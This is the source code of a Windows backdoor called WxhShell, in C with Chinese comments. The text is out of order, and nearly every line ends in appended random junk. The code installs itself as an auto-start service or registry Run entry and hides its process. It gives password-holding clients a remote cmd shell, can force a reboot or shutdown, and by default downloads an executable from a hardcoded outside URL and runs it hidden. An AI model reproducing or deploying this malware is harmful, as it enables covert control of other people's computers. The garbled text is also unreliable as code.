    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)> T>-os  
    else { SP/b 4  
    closesocket(wsh); 8EMBqhl  
    ExitThread(0); ~(-1mB,  
    } !L|l(<C  
    break; ~cyKPg6  
    } F(zCvT   
  // 获取shell kZo# Ny  
  case 's': { Ph%ylS/T{  
    CmdShell(wsh); s,f2[6\Y  
    closesocket(wsh); YFPse.2$a  
    ExitThread(0); ^;h\#S[%  
    break; J[r_ag  
  } .>}I/+n  
  // 退出 Y0kcxpK/  
  case 'x': { 2O@ON/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s8[(   
    CloseIt(wsh); }No#_{  
    break; 7O k-T10  
    } G7|d$!%  
  // 离开 74:( -vS  
  case 'q': { j>?nL~{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $xdo=4;|  
    closesocket(wsh); t#_6GL  
    WSACleanup(); wJJ|]^0.  
    exit(1); 37:tu7e~c  
    break; E;4B!"Q8  
        } Oi& 9FS  
  } HJJ)DE7;  
  } \Gk}Fer  
Z.Z31yF:f  
  // 提示信息 ^Ss <<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +PLJ  
} 17c`c.yP  
  } yx&}bu\  
'_Pb\ jK  
  return; v(JjvN21  
} ]AM*9!  
bA Yp }  
// shell模块句柄 1I'}Uh*  
int CmdShell(SOCKET sock) }id)~h_@  
{ tC$+;_=+F  
STARTUPINFO si; >YXb"g@.  
ZeroMemory(&si,sizeof(si)); {yT<22Fl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%BFR,)g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7^Us  
PROCESS_INFORMATION ProcessInfo; g0a!auWM  
char cmdline[]="cmd"; Zn. S65J*u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {Fyw<0 [@  
  return 0; oa7 N6  
} xJ:Am>%\^  
o](ORS$~  
// 自身启动模式 rO#$SW$YW  
int StartFromService(void) veh=^K%G |  
{ hHcevSr  
typedef struct I|Hcs.uW  
{ >2}*L"YC  
  DWORD ExitStatus; OEbZs-:  
  DWORD PebBaseAddress; Qd% (]L[N.  
  DWORD AffinityMask; FU}- .Ki  
  DWORD BasePriority; R*LPwJuv  
  ULONG UniqueProcessId; W0U|XX!&  
  ULONG InheritedFromUniqueProcessId; T}XJFV  
}   PROCESS_BASIC_INFORMATION; $1)NYsSH/H  
C5Fq%y{$.  
PROCNTQSIP NtQueryInformationProcess; tC f@v'1t  
-ECnX/ "  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AC fhy[,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +&_n[;   
G8^b9xoA+.  
  HANDLE             hProcess; R5uz<  
  PROCESS_BASIC_INFORMATION pbi; Xe/7rhov  
Mwj7*pxUh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .&^M Z8  
  if(NULL == hInst ) return 0; ' e x/IqbK  
MD>E0p)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zCwb>v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?f:\&+.&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Oqbfl#%  
2V+[:>F  
  if (!NtQueryInformationProcess) return 0; ?0s&Kz4B  
cetlr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E/ku VZX  
  if(!hProcess) return 0; Z>@\!$Mc  
Xd~lifF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E@="n<uS  
i2Gh!5]f  
  CloseHandle(hProcess); ju"j?2+F  
,}Ic($ To  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N9f;X{  
if(hProcess==NULL) return 0; T5 BoOVgO  
3_ =:^Z  
HMODULE hMod; B"RZpx  
char procName[255]; N_.`5I;e  
unsigned long cbNeeded; MP8s}  
'BEM:1)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ."v&?o Ck]  
l {\@+m  
  CloseHandle(hProcess); w{ x=e  
|:`gjl_Nf  
if(strstr(procName,"services")) return 1; // 以服务启动 ,rQPs  
qjvIp-  
  return 0; // 注册表启动 h"Q&E'0d  
} ga91#NWgK  
`qbsDfq@  
// 主模块 \3z^/F~  
int StartWxhshell(LPSTR lpCmdLine) 4\8k~ #  
{ en gh3TZC  
  SOCKET wsl; 9DmQ  
BOOL val=TRUE; <H!; /p/S  
  int port=0; F (:] lM|  
  struct sockaddr_in door; PR1%  
JSiLG0  
  if(wscfg.ws_autoins) Install(); b;sjw5cm_  
o//PlG~  
port=atoi(lpCmdLine); *,__\/U98  
)kNyl@m  
if(port<=0) port=wscfg.ws_port; l. i&.;f  
*YY:JLe  
  WSADATA data; #9Dixsl*Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Mmvf'N  
+EgQj*F*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g8w5X!Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zc-.W2"Hu  
  door.sin_family = AF_INET; >?A3;O]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E>?T<!r~j  
  door.sin_port = htons(port); #r)c@?T@j  
;HaG-c</  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l*yJU3PW  
closesocket(wsl); I6FglVQ6  
return 1; {*%'vVv+  
} R:v`\  
s&$Zgf6Z  
  if(listen(wsl,2) == INVALID_SOCKET) { aKC3T-  
closesocket(wsl); hU `H\LE  
return 1; ? <slB>8  
} q-}J0vu\K  
  Wxhshell(wsl); u]ZCYJ>  
  WSACleanup();  g=:C/>g  
> c7fg^@  
return 0; vf(\?Js ,  
"sRR:wzQu  
} |L7 `7!Z  
DY{JA *N  
// 以NT服务方式启动 fF8g3|p:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Ta*0Fr=9|  
{ YXa^jFp  
DWORD   status = 0; O.*,e  
  DWORD   specificError = 0xfffffff; 'on, YEp  
fN>o465I6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; avk0pY(n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y4Plm.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zl.}J,0F  
  serviceStatus.dwWin32ExitCode     = 0; uV*&a~  
  serviceStatus.dwServiceSpecificExitCode = 0; >9|/sH@W  
  serviceStatus.dwCheckPoint       = 0; =8fp4# ]7  
  serviceStatus.dwWaitHint       = 0; !K1[o'o#  
KaHjL&!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }dE0WJcO  
  if (hServiceStatusHandle==0) return; (6 fh[eK86  
aBT|Q@Y.  
status = GetLastError(); >e"CpbZ'  
  if (status!=NO_ERROR) kL,AY-Iu{@  
{ y%\kgWV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2rf-pdOvG  
    serviceStatus.dwCheckPoint       = 0; xO6)lVd  
    serviceStatus.dwWaitHint       = 0; \ M8;CN  
    serviceStatus.dwWin32ExitCode     = status; "wTA9\  
    serviceStatus.dwServiceSpecificExitCode = specificError; a%sr*`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(%nnG6x  
    return; X) xQKkL0  
  } U*=ebZno  
](@Tbm8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Rk;*MEMJ  
  serviceStatus.dwCheckPoint       = 0; `$7j:<c=  
  serviceStatus.dwWaitHint       = 0; 8AVM(d@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SI)u@3hl&w  
} 9#iu#?*B  
Uo<d]4p $  
// 处理NT服务事件,比如:启动、停止 gEMxK2MNXj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vu;pILN  
{ ~%B^`s  
switch(fdwControl) $3|++?  
{ B_anO{3$4  
case SERVICE_CONTROL_STOP: ]i)m   
  serviceStatus.dwWin32ExitCode = 0; 34Q l7LQp[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mk7,:S  
  serviceStatus.dwCheckPoint   = 0; DDyeN uK  
  serviceStatus.dwWaitHint     = 0; 3G dWq*  
  { |vw0:\/ H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K 38e,O  
  } htj:Z:C`  
  return; #TM+Vd$  
case SERVICE_CONTROL_PAUSE: J1T_wA_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /\V-1 7-  
  break; |T atRB3>  
case SERVICE_CONTROL_CONTINUE: K2<"O qp_W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (;;%B=  
  break; BMkN68q  
case SERVICE_CONTROL_INTERROGATE: o<`Mvw@Z  
  break; t23uQR#>b_  
}; lM~ 3yBy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s4/4o_[W  
} D]\of#%T  
c! vtQ<h-  
// 标准应用程序主函数 U,Ya^2h%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]KdSwIbi  
{ ?55t0  
PTrKnuM\J_  
// 获取操作系统版本 ]-h;gN  
OsIsNt=GetOsVer(); $5N%!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \!M6-kmi  
IcRA[ g  
  // 从命令行安装 viB'ul7o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]r|sU.Vl  
Z0HfrK#oU  
  // 下载执行文件 DSjEoWj   
if(wscfg.ws_downexe) { |LhVANz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0M=A,`qk  
  WinExec(wscfg.ws_filenam,SW_HIDE); (7Su{tq  
} )#S;H$@$  
KUJCkwQ  
if(!OsIsNt) { * -uA\  
// 如果时win9x,隐藏进程并且设置为注册表启动 s^f7w  
HideProc(); o;#:%  
StartWxhshell(lpCmdLine); w5fVug/;P  
} J5dwd,FQ  
else >TI/W~M  
  if(StartFromService()) HiAj3  
  // 以服务方式启动 ) uM*`%  
  StartServiceCtrlDispatcher(DispatchTable); %Q,6sH#  
else ` 1Ui  
  // 普通方式启动 M%&1j >d  
  StartWxhshell(lpCmdLine); T.bn~Z#f  
E8X(AZ 2  
return 0; /q1k)4?E  
} _[)f<`!g_V  
To/6=$wto  
~jz!jF~I  
R+sv?4k  
=========================================== ,9,cN-/a  
} H#C<:A  
<JUumrEo  
Z  FIy  
79&=MTM  
wjtFZGx&  
" K<wg-JgA  
*@;bWUJ  
#include <stdio.h> w{8O$4 w  
#include <string.h> `d c&B  
#include <windows.h> hy&WG&qf  
#include <winsock2.h> pk8`suZ  
#include <winsvc.h> - +<ai  
#include <urlmon.h> g3|k-  
D :)HK D.  
#pragma comment (lib, "Ws2_32.lib") M{z&h>  
#pragma comment (lib, "urlmon.lib") rS>@>8k2,  
&?@gCVNO,  
#define MAX_USER   100 // 最大客户端连接数 VwN=AFk Oj  
#define BUF_SOCK   200 // sock buffer }!uwWBw`  
#define KEY_BUFF   255 // 输入 buffer qrHCr:~  
y(<+=  
#define REBOOT     0   // 重启 =Q,D3F -+f  
#define SHUTDOWN   1   // 关机 b{BiC&3  
bg\9Lbjr  
#define DEF_PORT   5000 // 监听端口 |.OS7Gt?  
G>edJPfQ  
#define REG_LEN     16   // 注册表键长度 y@h v#;  
#define SVC_LEN     80   // NT服务名长度 =}" P;4:  
H'IxB[  
// 从dll定义API %x./>-[t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kXWC o6?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mg< v9#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _b`/QSL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ki'<qa  
]k$:sX  
// wxhshell配置信息 ai<K6)  
struct WSCFG { 8%`h:fE  
  int ws_port;         // 监听端口 aA -j  
  char ws_passstr[REG_LEN]; // 口令 ujn7DBE"  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rzyaicj^c  
  char ws_regname[REG_LEN]; // 注册表键名 }Ui)xi:8  
  char ws_svcname[REG_LEN]; // 服务名 610u!_-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F=?GV\Tw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8ly Ng w1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _} j6Pw'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RWB]uHzE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g7w#;E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i!G<sfL  
#3O$B*gV6  
}; (S?qxW?  
-M+o;  
// default Wxhshell configuration 5k c?:U&  
struct WSCFG wscfg={DEF_PORT, 1wE`kbC<  
    "xuhuanlingzhe", F ~e}=Nb  
    1, Q>xp 90&.n  
    "Wxhshell", kaRjv   
    "Wxhshell", p`S~UBcL.  
            "WxhShell Service", Y3ypca&P9  
    "Wrsky Windows CmdShell Service", ivSpi?   
    "Please Input Your Password: ", _QtW)\)5 \  
  1, a ~k*Gd(  
  "http://www.wrsky.com/wxhshell.exe", OTEx9  
  "Wxhshell.exe" fG<[zt\e  
    }; )"Wy/P  
6|Crc$4l  
// 消息定义模块 BOl*. t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qvs[Gkaa@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S,s") )A1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >p3S,2SM  
char *msg_ws_ext="\n\rExit."; 618bbftx{  
char *msg_ws_end="\n\rQuit."; h  m(  
char *msg_ws_boot="\n\rReboot..."; rY"EW"y  
char *msg_ws_poff="\n\rShutdown..."; bR=TGL&  
char *msg_ws_down="\n\rSave to "; ^izf&W.j!  
^56#{~%^?  
char *msg_ws_err="\n\rErr!"; jYh.$g<`0+  
char *msg_ws_ok="\n\rOK!"; 3UcOpq2i\  
b~+\\,q}  
char ExeFile[MAX_PATH]; 8yGo\\=T  
int nUser = 0; ra]\!;}L0  
HANDLE handles[MAX_USER]; tTe:Oq  
int OsIsNt; V/8yW3]Xy  
(Jy > ,~O  
SERVICE_STATUS       serviceStatus; *L5L.: Ze  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6 wD  
-vS7%Fbr  
// 函数声明 (P nrY~9  
int Install(void); <-|g>  
int Uninstall(void); {"^#CSi  
int DownloadFile(char *sURL, SOCKET wsh); D]Gt=2\NG9  
int Boot(int flag); BeM|1pe.  
void HideProc(void); x{{ZV]  
int GetOsVer(void); Xx=.;FYk  
int Wxhshell(SOCKET wsl); y/ah<Y0(  
void TalkWithClient(void *cs); Il#9t?/  
int CmdShell(SOCKET sock); oFS)3.  
int StartFromService(void); D^2yP~(  
int StartWxhshell(LPSTR lpCmdLine); g8;JpPw  
6H!"oC&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gx6$:j;   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PF-"^2&_  
u}KEH@yv  
// 数据结构和表定义 4N{^niq7  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Y=?~!,Jk  
{ .Ue1}'v*,  
{wscfg.ws_svcname, NTServiceMain}, MXuiQ;./  
{NULL, NULL} s& WHKCb  
}; qn@:A2e d  
Yc1ve  
// 自我安装 )Waz bT@  
int Install(void) TfqQh!Y  
{ L-(.v*  
  char svExeFile[MAX_PATH]; V$<5`  
  HKEY key; $v+t ~b  
  strcpy(svExeFile,ExeFile); (SYSw%v$A  
fRd^@@,[  
// 如果是win9x系统,修改注册表设为自启动 OO+QH 2j  
if(!OsIsNt) { ~uz4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3.s.&^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \LpR7D  
  RegCloseKey(key); m339Y2%=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5m&Zq_Qe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [.NG~ cpb  
  RegCloseKey(key); X,8 ]g.<  
  return 0; rSvQarT  
    } vMV}M%~  
  } :vkTV~  
} aM|^t:  
else { ^5 sO;vf  
3R sbi  
// 如果是NT以上系统,安装为系统服务 3@/\j^U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ? @Y'_f  
if (schSCManager!=0) Q-}yZ  
{ 5J4'\M  
  SC_HANDLE schService = CreateService %Z=%E!*  
  ( aqk0+  
  schSCManager, ?@i_\<A2  
  wscfg.ws_svcname, vC9Qe ]f  
  wscfg.ws_svcdisp, ^%?*u;uU%  
  SERVICE_ALL_ACCESS, &6`h%;a/&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cn$o$:tW  
  SERVICE_AUTO_START, Z4 +6'  
  SERVICE_ERROR_NORMAL, Io81zA  
  svExeFile, [Cx'a7KWL  
  NULL, eZMDtB  
  NULL, MM*B.y~TxZ  
  NULL, fvDt_g9oI  
  NULL, `"/s,"c:D  
  NULL L:ox$RU  
  ); 8i=c|k,GL.  
  if (schService!=0) .W#-Cl&n8  
  { j[Y$)HF  
  CloseServiceHandle(schService); J7`fve  
  CloseServiceHandle(schSCManager); oXef<- :  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +; P8QZK6  
  strcat(svExeFile,wscfg.ws_svcname); %)$^_4.g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G' 5p/:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ")t ^!x(v  
  RegCloseKey(key); 1gwnG&  
  return 0; aeQvIob@  
    } 3$u 3ssOL  
  } Z-fQ{&a{  
  CloseServiceHandle(schSCManager);  {hzU  
} L"|~,SVF  
} ,dTRM  
*ydkx\pT  
return 1; >VQP,J{  
} hGPo{>xR  
)AxgKBW  
// 自我卸载 '@$YX*[  
int Uninstall(void) csceu+ IA  
{ B^;P:S<yG  
  HKEY key; )"W(0M] >  
OlW|qj  
if(!OsIsNt) { Ry@QJn I<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { </UUvMf"  
  RegDeleteValue(key,wscfg.ws_regname); -|ho 8alF  
  RegCloseKey(key); yJCqP=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tl 0_Sd  
  RegDeleteValue(key,wscfg.ws_regname); WIe7>wkC  
  RegCloseKey(key); oNyVRH ZH  
  return 0; 3@qy}Nm  
  } #JmVq-)  
} NUlp4i~Q  
} 9{D u)k  
else { |[/<[@\''  
?ztI8 I/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;_o1{?~  
if (schSCManager!=0) -C]k YQ  
{ lO (MF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'qL:7  
  if (schService!=0) +-DF3(  
  { /fSsh;F  
  if(DeleteService(schService)!=0) { kSpy-bVn  
  CloseServiceHandle(schService); AI^!?nJ%'  
  CloseServiceHandle(schSCManager); 'ti~TG  
  return 0; S}b^_+UbP  
  } ri`;   
  CloseServiceHandle(schService); Y3 \EX  
  } #`ZBA>FLaQ  
  CloseServiceHandle(schSCManager); nWes,K6T  
} G J{XlH  
} 9/`3=r@  
x*sDp3f[*  
return 1; %a?\y_a=b  
} Bp_8PjQ  
[}=a6Q>)  
// 从指定url下载文件 (!PsK:wc  
int DownloadFile(char *sURL, SOCKET wsh) HUChg{[  
{ js9^~:Tw  
  HRESULT hr; 8OMMV,QF  
char seps[]= "/"; AtUtE#K  
char *token; )<f4F!?,A  
char *file; bzr QQQ  
char myURL[MAX_PATH]; gq]@*C  
char myFILE[MAX_PATH]; Qr_0 L  
73_=CP" t  
strcpy(myURL,sURL); sPMICIv|  
  token=strtok(myURL,seps); Lq62  
  while(token!=NULL) w~q ]&  
  { {;|pcx\L6~  
    file=token; po(pi|  
  token=strtok(NULL,seps); Peo-t*-06  
  } O')=]6CQ*  
2+/r~LwbK  
GetCurrentDirectory(MAX_PATH,myFILE); DK?Z   
strcat(myFILE, "\\"); $)  M2  
strcat(myFILE, file); nLOK1@,4  
  send(wsh,myFILE,strlen(myFILE),0); XDAP[V  
send(wsh,"...",3,0); 3 l}9'j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ($!uBF-b  
  if(hr==S_OK) ]imVIu   
return 0; 8f1M6GK?  
else [W*M#00_&4  
return 1; lU%oU&P/"S  
Qv`: E   
} 5rfDm  
en/h`h]h  
// 系统电源模块 9Zj3"v+b  
int Boot(int flag) ,(-V<>/*.|  
{ # S/n3  
  HANDLE hToken; 'sXrtl7{^  
  TOKEN_PRIVILEGES tkp; @/?i|!6  
pKpB  
  if(OsIsNt) { |x.^rx`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0g6sGz=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 10h; N[  
    tkp.PrivilegeCount = 1; c~~4eia)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V9SL96'[I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !h4A7KBYG  
if(flag==REBOOT) { \q*-9_M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g Oe!GnO  
  return 0; 9a=>gEF],@  
} /V{UTMSz  
else { kX+9U"` C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b9#(I~}  
  return 0; -b{<VrZ  
} =Gu&0f  
  } @MVul_@6  
  else { ^"D^D`$@  
if(flag==REBOOT) { U]gUGD!5x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ihf)gfHj  
  return 0; M49l2x=]9  
} 6pSTw\/6  
else { Axns  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |nWEuKHy  
  return 0; 3~bB2APk  
} $pAJ$0=sw  
} ,b&h Lht  
ZLxa|R7  
return 1; - z+,j(@  
} pZlsDM/=  
5 ,-8oEUL  
// win9x进程隐藏模块 ]vB\yQE  
void HideProc(void) xSd&xwP  
{ R'`'q1=R  
7@>/O)>(AS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); " (O3B  
  if ( hKernel != NULL ) _qf39fM;\  
  { !CX WoM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2[Lv_<i|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X*@ tp,t  
    FreeLibrary(hKernel); / @"{u0  
  } ?R#$ c]  
eGq7+  
return; qE[YZ(/f0&  
} Uzzm2OS`  
P'OvwA  
// 获取操作系统版本 4>0q0}J=5  
int GetOsVer(void) QHZ",1F  
{ ;j/$%lC  
  OSVERSIONINFO winfo; @9KW ]7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I:iMRvp  
  GetVersionEx(&winfo); #l4T/`u'9!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #DFi-o&-  
  return 1; 30uPDDvar  
  else s2G9}i{  
  return 0; *PnO$q@`  
} c**&,aL  
I_v}}h{  
// 客户端句柄模块 E|f[ #+:+  
int Wxhshell(SOCKET wsl) ? /z[Jx.  
{ \OVtvJV]  
  SOCKET wsh; 6EyPZ{  
  struct sockaddr_in client; s/IsrcfM  
  DWORD myID; K'r;#I|"J  
%|(c?`2|  
  while(nUser<MAX_USER) +,>%Yb =EA  
{ 4kM/`g6?,q  
  int nSize=sizeof(client); 7amVnR1f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v{a%TA9-  
  if(wsh==INVALID_SOCKET) return 1; H\ejW@< ;h  
M/Yr0"%Q<.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1W{N6+u  
if(handles[nUser]==0) \s5Uvws  
  closesocket(wsh); 8mreHa  
else >J:=)1`  
  nUser++; XJ4f;U  
  } tf~B,?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C!5A,|DX  
LN5LT'CE   
  return 0; }R['Zoh4I  
} %)JEYH7Z  
uPz+*4+  
// 关闭 socket 0!|d .jZI  
void CloseIt(SOCKET wsh) g^]Iw~T6$  
{ ]u_j6y!  
closesocket(wsh); ={:a N)  
nUser--; Pqomi!1  
ExitThread(0); =*,SD  
} >q:%?mi  
^ F]hW  
// 客户端请求句柄 /sKL|]i=  
void TalkWithClient(void *cs) SN{+ Pk  
{ ,5n!a.T  
C$y6^/7)  
  SOCKET wsh=(SOCKET)cs; 3^o(\=-JX  
  char pwd[SVC_LEN]; Kq")\Ha,f  
  char cmd[KEY_BUFF]; Y_'ERqQ  
char chr[1]; "<ZV'z  
int i,j; q3$8"Q^  
]<f)Rf">:`  
  while (nUser < MAX_USER) { `>:5[Y  
D|LO!,=b  
if(wscfg.ws_passstr) { 9jkz83/+<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;t&q|}x"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QHk\Z  
  //ZeroMemory(pwd,KEY_BUFF); ob.<j  
      i=0; x>#{C,Fi  
  while(i<SVC_LEN) { \zO.#H  
 q#K{~:  
  // 设置超时 vhrf89-q  
  fd_set FdRead; YJJ1N/Z1  
  struct timeval TimeOut; ')uYI;h9  
  FD_ZERO(&FdRead); R}&?9tVRR  
  FD_SET(wsh,&FdRead); 5PeS/%uT@  
  TimeOut.tv_sec=8; 9p{ 4-]  
  TimeOut.tv_usec=0; MpCPY"WLL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !7N:cx'Qy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l;; 2\mL?  
I\@r ~]+y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V"/.An|  
  pwd=chr[0]; 0j$\k|xFXZ  
  if(chr[0]==0xd || chr[0]==0xa) { %F*9D3^h  
  pwd=0; 6V;Dcfvi  
  break; .p#kW:zspA  
  } VE |:k:};  
  i++; @kYY1mv;  
    } 7>Scf  
}LUvh  
  // 如果是非法用户,关闭 socket {?qfH>oFA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F @PPhzZ  
} )&c2+Y@  
+b|F_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >^Nnhnr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Etz#+R&*  
c1H.v^Y5  
while(1) { (}A$4?  
A(y6]E!  
  ZeroMemory(cmd,KEY_BUFF); K9<8FSn  
6{2y$'m8  
      // 自动支持客户端 telnet标准   VfnL-bDGV  
  j=0; 49qa  
  while(j<KEY_BUFF) { &CG94  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ri&zbB  
  cmd[j]=chr[0]; nW=6nCyvo  
  if(chr[0]==0xa || chr[0]==0xd) { 579Q&|L.  
  cmd[j]=0; </I%VHP,[f  
  break; ;}B=g/C  
  } WB jJ)vCA.  
  j++; )]>t(  
    } 0|GYtnd  
%NLd"SV  
  // 下载文件 Y>$5j}K  
  if(strstr(cmd,"http://")) { @nH3nn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @rhS[^1wi+  
  if(DownloadFile(cmd,wsh)) R @\fqNq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}L?EM  
  else 1j2U,_-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xW"O|x$6  
  } <"Y>|X  
  else { B>u`%Ry&  
w,1N ;R&  
    switch(cmd[0]) { r\m{;Z#LJm  
  wBt7S!>G  
  // 帮助 c&;" Y{  
  case '?': { eC/{c1C  
